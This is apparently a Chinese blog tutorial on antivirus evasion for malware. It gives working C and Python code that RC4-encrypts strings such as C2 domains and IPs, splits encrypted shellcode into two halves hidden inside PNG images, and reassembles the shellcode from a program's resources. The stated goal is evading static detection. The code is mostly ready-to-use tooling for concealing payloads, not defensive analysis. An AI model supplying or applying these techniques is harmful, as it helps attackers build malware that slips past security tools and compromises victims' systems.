字符串加密与Shellcode 隐藏

#字符串加密

写马时如果存在对外发起请求,那么就会在字符串中存储IP或域名。而字符串在PE中是能够直接查到的,这在静态检测上不利于对C2域名或IP的隐藏。当然加密字符串不止为了隐藏域名和IP这一种用法。下面介绍对字符串用RC4加密,并以16进制存储的方法。

#RC4 加解密字符串

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <Windows.h>
#include <stdio.h>
VOID RC4Init(BYTE* s, CHAR* key, INT Len)
{
	int i = 0, j = 0;
	BYTE k[256] = { 0 };
	BYTE tmp = 0;
	for (i = 0; i < 256; i++)
	{
		s[i] = i;
		k[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++)
	{
		j = (j + s[i] + k[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}
}
VOID RC4Encrypt(BYTE* s, CHAR* Data, INT Len)
{
	int i = 0, j = 0, t = 0;
	int k = 0;
	BYTE tmp;
	for (k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		Data[k] ^= s[t];
	}
}
int main() {
	//需要加密的数据
	CHAR data[]="you are kidding me"; 
	//加密密钥
	CHAR key[] = "DsbNrQ01WT9Py5RkPT8P";
	BYTE s[256] = { 0 };
	//初始化数组
	RC4Init(s, key, strlen(key));
	//加密
	RC4Encrypt(s,data,strlen(data));
	HANDLE hFile = CreateFile(L"1.txt",GENERIC_WRITE,0,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
	if (hFile != INVALID_HANDLE_VALUE)
	{
		WriteFile(hFile,data,strlen(data),NULL,NULL);
	}
}

结果 查看1.txt文件,发现都是乱码,其中可能会包含一些不可打印的字符,这样的结果是没办法作为字符串保存的。

下面介绍把此结果转换成16进制形式存储,并对字符串解密还原。

#以16 进制存储结果

首先可利用python 将1.txt的内容转换成16进制。

1
2
import binascii
print(binascii.b2a_hex(open("1.txt","rb").read()))

得到结果: eef725647574cc48fa4dd3f927932e70b152

下面对该字符串每一位进行处理还原

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
VOID StrToByte(CHAR* Result, CHAR* Src, INT nLen)
{
	CHAR h1, h2;
	CHAR s1, s2;
	int i;
	for (i = 0; i < nLen / 2; i++)
	{
		h1 = Src[2 * i];
		h2 = Src[2 * i + 1];
		s1 = toupper(h1) - 0x30;
		if (s1 > 9)
			s1 -= 7;

		s2 = toupper(h2) - 0x30;
		if (s2 > 9)
			s2 -= 7;

		Result[i] = s1 * 16 + s2;
	}
}

完整解密代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <Windows.h>
#include <stdio.h>
VOID RC4Init(BYTE* s, CHAR* key, INT Len)
{
	int i = 0, j = 0;
	BYTE k[256] = { 0 };
	BYTE tmp = 0;
	for (i = 0; i < 256; i++)
	{
		s[i] = i;
		k[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++)
	{
		j = (j + s[i] + k[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}
}
VOID RC4Encrypt(BYTE* s, CHAR* Data, INT Len)
{
	int i = 0, j = 0, t = 0;
	int k = 0;
	BYTE tmp;
	for (k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		Data[k] ^= s[t];
	}
}
VOID StrToByte(CHAR* Result, CHAR* Src, INT nLen)
{
	CHAR h1, h2;
	CHAR s1, s2;
	int i;
	for (i = 0; i < nLen / 2; i++)
	{
		h1 = Src[2 * i];
		h2 = Src[2 * i + 1];
		s1 = toupper(h1) - 0x30;
		if (s1 > 9)
			s1 -= 7;

		s2 = toupper(h2) - 0x30;
		if (s2 > 9)
			s2 -= 7;

		Result[i] = s1 * 16 + s2;
	}
}
int main() {
	CHAR Result[50] = {0};
	//以16进制形式加密存储的字符串
	CHAR data[]="eef725647574cc48fa4dd3f927932e70b152";
	//此函数将16进制字符串还原成RC4加密后的字节
	StrToByte(Result,data,strlen(data));
	//密钥不变
	CHAR key[] = "DsbNrQ01WT9Py5RkPT8P";
	BYTE s[256] = { 0 };
	//初始化数组
	RC4Init(s, key, strlen(key));
	//解密
	RC4Encrypt(s,Result,strlen(Result));
	printf("%s\n", Result);
}

#利用资源文件隐藏 Shellcode

隐藏 shellcode的方法常见的有两种: 放在服务器上远程下载或者放在本地。远程下载不必多说,有各种Windows API支持。本地存储shellcode也有两种方法: 一个是加密成一个文件,单独存放。一种是打包在PE的资源文件中。前者会多出一个文件,不利于部署。存储在资源文件中相对来说比较方便。

为了保证免杀效果,将首先对shellcode加密,再对shellcode 拆分,分别填充到正常图片中。此方法至少能保证消除shellcode静态特征。

  1. 首先利用RC4对shellcode 进行加密。

    上面介绍过了RC4加密方法,此处就不重复贴代码了

  2. 将加密后的文件,拆分成两份,并分别填充到某个正常图片中间。

    这里写了个简单的python 脚本来进行处理

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    #coding:utf-8
    import os
    import sys
    shellcodePath="encrypt.bin" #rc4加密后的shellcode
    pngPath="xx.png" #正常图片,不宜过大。
    def echoPng(shellcode,num):
        with open(pngPath,"rb") as f1:
            png=f1.read()
            png1=png[:300]
            png2=png1+shellcode
            png3=png[300:]
            pngAll=png2+png3
            with open("ico{0}.png".format(num),"wb+") as f2:
                f2.write(pngAll)
    
    with open(shellcodePath,"rb") as f:
    		#拆分shellcode成两块,并插入到文件中。
        shellcode=f.read()
        shellcode1=shellcode[:len(shellcode)//2]
        shellcode2=shellcode[len(shellcode)//2:]
        echoPng(shellcode1,1)
        echoPng(shellcode2,2)
    
  3. 添加这两份图片到资源文件,并在代码中进行还原。

    还原代码

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    
    #include <Windows.h>
    #include <stdio.h>
    
    #define imgLen 1000 //此处定义原始图片长度
    
    BYTE* getResource(HMODULE hModule, INT num, DWORD* PartLen) {
    	HRSRC ResInfo = FindResourceW(hModule, MAKEINTRESOURCE(num), L"PNG");
    	if (NULL == ResInfo) { exit(1); }
    	HGLOBAL ResData = LoadResource(hModule, ResInfo);
    	if (0 == ResData) { ExitProcess(1); }
    	LPVOID lpResData = LockResource(ResData);
    	DWORD ResSize = SizeofResource(hModule, ResInfo);
    
    	BYTE* data = (BYTE*)calloc(ResSize - 300, 1);
    	if (data == NULL) { exit(1); }
    	memcpy(data, (BYTE*)lpResData + 300, ResSize - 300); //这里的300 要对应python 文件中的大小
    	BYTE* data2 = (BYTE*)calloc(ResSize - imgLen, 1);
    	if (data2 == NULL) { exit(1); }
    	memcpy(data2, (BYTE*)data, ResSize - imgLen);
    	*PartLen = ResSize - imgLen;
    	return data2;
    }
    int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) {
    	DWORD Part1Len = 0, Part2Len = 0;
    	//通过序号读取资源
    	BYTE* Part1 = getResource(hInstance, 101, &Part1Len);
    	BYTE* Part2 = getResource(hInstance, 102, &Part2Len);
    	if (Part1Len == 0 || Part2Len == 0) { exit(1); }
    	SIZE_T FSize = (SIZE_T)Part1Len + (SIZE_T)Part2Len; //总长度
    	CHAR* data = (CHAR*)calloc(FSize, 1);
    	if (data == NULL) { exit(1); }
    	//进行合并
    	memcpy(data, Part1, Part1Len);
    	memcpy(data + Part1Len, Part2, Part2Len);
    
    }
    
加载评论